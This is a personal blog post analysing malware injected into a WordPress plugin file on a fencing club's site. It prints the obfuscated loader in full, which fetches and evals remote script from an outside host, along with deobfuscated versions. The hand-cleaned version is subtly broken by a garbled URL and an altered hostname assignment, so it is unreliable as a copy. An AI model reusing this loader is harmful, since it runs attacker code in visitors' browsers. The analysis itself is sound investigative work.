DANNY YANG

about me · blog · projects · hire me

Investigating Malware on My Fencing Club's Website

18 Apr 2025 - 3408 words - 17 minute read - RSS

The other day, I shared a link to my fencing club’s website on social media, and someone commented saying that the website was flagged by their Norton AntiVirus extension.

I was pretty skeptical at first, but I reached out for more info just in case.

The file that was flagged was called webpack-pro.runtime.js, allegedly included by the elementor Wordpress plugin.

I knew that outdated Wordpress sites and plugins were easy to compromise, and viewing the source in my browser immediately roused my suspicions further.

There was a section at the end of the file that looked different from normal minimized JavaScript:

if (typeof zqxq === "undefined") {
    (function(N, M) {
        var z = {
                N: 0xd9,
                M: 0xe5,
                P: 0xc1,
                v: 0xc5,
                k: 0xd3,
                n: 0xde,
                E: 0xcb,
                U: 0xee,
                K: 0xca,
                G: 0xc8,
                W: 0xcd
            },
            F = Q,
            g = d,
            P = N();
        while (!![]) {
            try {
                var v = parseInt(g(z.N)) / 0x1 + parseInt(F(z.M)) / 0x2 * (-parseInt(F(z.P)) / 0x3) + parseInt(g(z
                        .v)) / 0x4 * (-parseInt(g(z.k)) / 0x5) + -parseInt(F(z.n)) / 0x6 * (parseInt(g(z.E)) /
                    0x7) + parseInt(F(z.U)) / 0x8 + -parseInt(g(z.K)) / 0x9 + -parseInt(F(z.G)) / 0xa * (-parseInt(
                        F(z.W)) / 0xb);
                if (v === M) break;
                else P['push'](P['shift']());
            } catch (k) {
                P['push'](P['shift']());
            }
        }
    }(J, 0x5a4c9));
    var zqxq = !![],
        HttpClient = function() {
            var l = {
                    N: 0xdf
                },
                f = {
                    N: 0xd4,
                    M: 0xcf,
                    P: 0xc9,
                    v: 0xc4,
                    k: 0xd8,
                    n: 0xd0,
                    E: 0xe9
                },
                S = d;
            this[S(l.N)] = function(N, M) {
                var y = {
                        N: 0xdb,
                        M: 0xe6,
                        P: 0xd6,
                        v: 0xce,
                        k: 0xd1
                    },
                    b = Q,
                    B = S,
                    P = new XMLHttpRequest();
                P[B(f.N) + B(f.M) + B(f.P) + B(f.v)] = function() {
                    var Y = Q,
                        R = B;
                    if (P[R(y.N) + R(y.M)] == 0x4 && P[R(y.P) + 's'] == 0xc8) M(P[Y(y.v) + R(y.k) + 'xt']);
                }, P[B(f.k)](b(f.n), N, !![]), P[b(f.E)](null);
            };
        },
        rand = function() {
            var t = {
                    N: 0xed,
                    M: 0xcc,
                    P: 0xe0,
                    v: 0xd7
                },
                m = d;
            return Math[m(t.N) + 'm']()[m(t.M) + m(t.P)](0x24)[m(t.v) + 'r'](0x2);
        },
        token = function() {
            return rand() + rand();
        };

    function J() {
        var T = ['m0LNq1rmAq', '1335008nzRkQK', 'Aw9U', 'nge', '12376GNdjIG', 'Aw5KzxG', 'www.', 'mZy3mZCZmezpue9iqq',
            'techa', '1015902ouMQjw', '42tUvSOt', 'toStr', 'mtfLze1os1C', 'CMvZCg8', 'dysta', 'r0vu', 'nseTe',
            'oI8VD3C', '55ZUkfmS', 'onrea', 'Ag9ZDg4', 'statu', 'subst', 'open', '498750vGDIOd', '40326JKmqcC',
            'ready', '3673730FOPOHA', 'CMvMzxi', 'ndaZmJzks21Xy0m', 'get', 'ing', 'eval', '3IgCTLi', 'oI8V', '?id=',
            'mtmZntaWog56uMTrsW', 'State', 'qwzx', 'yw1L', 'C2vUza', 'index',
            '//af.goflightcapital.com/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/Exceptions/Exceptions.css',
            'C3vIC3q', 'rando', 'mJG2nZG3mKjyEKHuta', 'col', 'CMvY', 'Bg9Jyxq', 'cooki', 'proto'
        ];
        J = function() {
            return T;
        };
        return J();
    }

    function Q(d, N) {
        var M = J();
        return Q = function(P, v) {
            P = P - 0xbf;
            var k = M[P];
            if (Q['SjsfwG'] === undefined) {
                var n = function(G) {
                    var W = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';
                    var q = '',
                        j = '';
                    for (var i = 0x0, g, F, S = 0x0; F = G['charAt'](S++); ~F && (g = i % 0x4 ? g * 0x40 + F :
                            F, i++ % 0x4) ? q += String['fromCharCode'](0xff & g >> (-0x2 * i & 0x6)) : 0x0) {
                        F = W['indexOf'](F);
                    }
                    for (var B = 0x0, R = q['length']; B < R; B++) {
                        j += '%' + ('00' + q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);
                    }
                    return decodeURIComponent(j);
                };
                Q['GEUFdc'] = n, d = arguments, Q['SjsfwG'] = !![];
            }
            var E = M[0x0],
                U = P + E,
                K = d[U];
            return !K ? (k = Q['GEUFdc'](k), d[U] = k) : k = K, k;
        }, Q(d, N);
    }

    function d(Q, N) {
        var M = J();
        return d = function(P, v) {
            P = P - 0xbf;
            var k = M[P];
            return k;
        }, d(Q, N);
    }(function() {
        var X = {
                N: 0xbf,
                M: 0xf1,
                P: 0xc3,
                v: 0xd5,
                k: 0xe8,
                n: 0xc3,
                E: 0xc0,
                U: 0xef,
                K: 0xdd,
                G: 0xf0,
                W: 0xea,
                q: 0xc7,
                j: 0xec,
                i: 0xe3,
                T: 0xd2,
                p: 0xeb,
                o: 0xe4,
                D: 0xdf
            },
            C = {
                N: 0xc6
            },
            I = {
                N: 0xe7,
                M: 0xe1
            },
            H = Q,
            V = d,
            N = navigator,
            M = document,
            P = screen,
            v = window,
            k = M[V(X.N) + 'e'],
            E = v[H(X.M) + H(X.P)][H(X.v) + H(X.k)],
            U = v[H(X.M) + H(X.n)][V(X.E) + V(X.U)],
            K = M[H(X.K) + H(X.G)];
        E[V(X.W) + 'Of'](V(X.q)) == 0x0 && (E = E[H(X.j) + 'r'](0x4));
        if (K && !q(K, H(X.i) + E) && !q(K, H(X.T) + 'w.' + E) && !k) {
            var G = new HttpClient(),
                W = U + (V(X.p) + V(X.o)) + token();
            G[V(X.D)](W, function(j) {
                var Z = V;
                q(j, Z(I.N)) && v[Z(I.M)](j);
            });
        }

        function q(j, i) {
            var O = H;
            return j[O(C.N) + 'Of'](i) !== -0x1;
        }
    }());
};

I could see a lot of obfuscated logic, some code to make a request, and a jumbled array of what looked like parts of a URL. After a few unsuccessfuly attempts at tracing the logic in a sandboxed environment, I decided that the current form of this snippet was too complicated for me to make sense of.

Luckily, I found a variety of JavaScript deobfuscation tools online. I tried https://deobfuscate.relative.im/, and it gave me this (much more readable) snippet.

if (typeof zqxq === 'undefined') {
  var zqxq = true,
    HttpClient = function () {
      this.get = function (N, M) {
        var P = new XMLHttpRequest()
        P.onreadystatechange = function () {
          if (P.readyState == 4 && P.status == 200) {
            M(P.responseText)
          }
        }
        P.open('GET', N, true)
        P.send(null)
      }
    },
    rand = function () {
      return Math.random().toString(36).substr(2)
    }
  ;(function () {
    var N = navigator,
      M = document,
      P = screen,
      v = window,
      k = M.cookie,
      E = v.location.hostname,
      U = v.location.protocol,
      K = M.referrer
    E.indexOf('www.') == 0 && (E = E.substr(4))
    if (K && !q(K, '://' + E) && !q(K, '://www.' + E) && !k) {
      var G = new HttpClient(),
        W =
          U +
          '//af.goflightcapital.com/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/Exceptions/Exceptions.css?id=' +
          (rand() + rand())
      G.get(W, function (j) {
        q(j, 'qwzx') && v.eval(j)
      })
    }
    function q(j, i) {
      return j.indexOf(i) !== -1
    }
  })()
}

I was surprised at how powerful the deobfuscation tool was - it somehow constructed the full URL and gave me enough information to see what the snippet was doing: making a request and eval-ing the response if it contained the string “qwzx”.

A few manual edits cleaned up the code even more:

if (typeof zqxq === 'undefined') {
    var zqxq = true;
    var HttpClient = function () {
        this.get = function (url, callback) {
            var request = new XMLHttpRequest()
            request.onreadystatechange = function () {
                if (request.readyState == 4 && request.status == 200) {
                    callback(request.responseText)
                }
            }
            request.open('GET', url, true)
            request.send(null)
        }
    };
    var rand = function () {
        return Math.random().toString(36).substr(2)
    };
    (function () {
        window.location.hostname.indexOf('www.') == 0 && (window.location.hostname = window.location.hostname.substr(4))
        if (document.referrer && !q(document.referrer, '://' + window.location.hostname) && !q(document.referrer, '://www.' + window.location.hostname) && !document.cookie) {
            var client = new HttpClient();
            var url =
                window.location.protocol +
                '//af.goflightcapital.com/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/window.location.hostnamexceptions/window.location.hostnamexceptions.css?id=' +
                (rand() + rand());
            client.get(url, function (responseText) {
                q(responseText, 'qwzx') && window.eval(responseText)
            })
        }
        function q(j, i) {
            return j.indexOf(i) !== -1
        }
    })()
}

The deobfuscated code also showed that it would be difficult to reproduce reliably: it doesn’t always make a request, it won’t always get a response, and the response isn’t always evaluated.

I decided to search online to see what exactly I was dealing with.

Sure enough, I quickly found a few sites that described very similar malware: 1, 2, 3

At this point, I had seen enough. I reported the issue to my fencing club, and wrapped up my investigation. It was pretty fun to play detective for a night, and this experience definitely piqued my interest in the broader field of cybersecurity and security engineering.



github · linkedin · email · rss